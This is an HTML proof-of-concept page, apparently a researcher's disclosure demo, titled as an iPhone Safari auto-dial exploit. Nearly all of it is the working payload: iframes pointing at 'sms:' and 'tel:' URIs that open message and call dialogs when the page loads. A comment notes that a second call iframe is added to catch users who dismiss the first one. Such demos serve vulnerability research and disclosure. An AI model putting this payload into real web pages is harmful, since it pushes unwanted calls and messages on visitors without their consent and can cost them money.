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&lt;head&gt;
&lt;title&gt;iPhone Safari phone-auto-dial Exploit Demo by Collin Mulliner&lt;/title&gt;
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&lt;body&gt;
&lt;iframe src=&quot;sms:+12345&quot; WIDTH=50 HEIGHT=10&gt;&lt;/iframe&gt;
&lt;iframe src=&quot;tel:+12345&quot; WIDTH=50 HEIGHT=10&gt;&lt;/iframe&gt;
&lt;!-- second iframe is to attack quick users who manage to close the first call-dialog //--&gt;
&lt;iframe src=&quot;tel:+12345&quot; WIDTH=50 HEIGHT=10&gt;&lt;/iframe&gt;
&lt;/body&gt;
&lt;/html&gt;